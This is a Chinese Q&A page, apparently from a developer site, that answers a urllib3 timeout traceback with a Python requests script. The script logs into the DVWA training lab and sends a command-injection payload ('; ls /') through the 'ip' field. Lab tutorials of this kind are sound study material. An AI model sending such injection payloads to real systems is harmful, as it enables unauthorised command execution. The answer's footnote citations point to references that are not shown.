Traceback (most recent call last): File "D:\anaconda\Lib\site-packages\urllib3\connection.py", line 199, in _new_conn sock = connection.create_connection( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\site-packages\urllib3\util\connection.py", line 85, in create_connection raise err File "D:\anaconda\Lib\site-packages\urllib3\util\connection.py", line 73, in create_connection sock.connect(sa) TimeoutError: [WinError 10060] 由于连接方在一段时间后没有正确答复或连接的主机没有反应,连接尝试失败。 The above exception was the direct cause of the following exception: Traceback (most recent call last): File "D:\anaconda\Lib\site-packages\urllib3\connectionpool.py", line 789, in urlopen response = self._make_request( ^^^^^^^^^^^^^^^^^^^ File "D:\anaconda\Lib\site-packages\urllib3\connectionpool.py", line 495, in _make_request conn.request( File "D:\anaconda\Lib\site-packages\urllib3\connection.py", line 441, in request self.endheaders() File "D:\anaconda\Lib
时间: 2025-05-25 08:00:57 浏览: 38
### 解决使用 Requests 库在 DVWA Low 级别命令注入时的连接超时问题
当使用 `Requests` 库进行 DVWA 命令注入操作时,可能会因为网络延迟或其他原因导致连接超时(`TimeoutError`)。为了避免这种情况发生,可以在代码中设置合理的超时时间,并增加重试逻辑以提高稳定性。
以下是改进后的代码示例:
```python
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
# 定义目标 URL 和登录凭证
url_login = 'http://192.168.1.10/dvwa/login.php'
url_command_injection = 'http://192.168.1.10/dvwa/vulnerabilities/exec/'
credentials = {
'username': 'admin',
'password': 'password',
'Login': 'Login' # 提交按钮名称
}
# 创建会话对象并配置重试策略
session = requests.Session()
retries = Retry(total=5, backoff_factor=1, status_forcelist=[502, 503, 504])
adapter = HTTPAdapter(max_retries=retries)
session.mount('http://', adapter)
session.mount('https://', adapter)
# 设置超时时间为 10 秒
timeout_duration = 10
try:
# 发送登录请求
response = session.post(url_login, data=credentials, timeout=timeout_duration)
if "Welcome to the password protected area" not in response.text:
raise Exception("登录失败,请检查用户名和密码")
print("[+] 成功登录到 DVWA.")
# 构造命令注入数据包
payload = {'ip': '; ls /'} # 注入命令以遍历根目录
headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"}
# 发送带有命令注入的有效负载
injection_response = session.get(url_command_injection, params=payload, headers=headers, timeout=timeout_duration)
# 解析返回的结果
output_start_marker = '<pre>'
output_end_marker = '</pre>'
start_index = injection_response.text.find(output_start_marker) + len(output_start_marker)
end_index = injection_response.text.find(output_end_marker, start_index)
command_output = injection_response.text[start_index:end_index].strip()
print(f"[+] 命令输出:\n{command_output}")
except requests.exceptions.Timeout as e:
print(f"[-] 超时错误: {e}. 尝试重新运行程序或增加超时时间.")
except requests.exceptions.RequestException as e:
print(f"[-] 请求异常: {e}. 检查网络连接或目标服务状态.")
```
#### 改进的关键点
- **超时设置**:通过参数 `timeout` 明确指定每次请求的最大等待时间。默认情况下,如果不设置该值,`requests` 可能会长时间阻塞[^5]。
- **重试机制**:借助 `urllib3.util.retry.Retry` 类定义最大重试次数以及指数退避算法(Exponential Backoff),从而增强在网络不稳定情况下的鲁棒性[^6]。
- **异常处理**:捕获特定类型的异常(如 `Timeout` 和其他通用 `RequestException`),提供更友好的反馈信息给用户[^7]。
---
#### 注意事项
- 上述方法虽然能够缓解部分由短暂网络波动引起的超时问题,但如果目标主机本身存在性能瓶颈或者防火墙规则限制外部访问频率,则仍可能出现无法正常通信的情况。
- 在真实场景下开展渗透测试活动前务必获得授权许可,非法入侵他人计算机系统属于违法行为。
阅读全文
相关推荐


















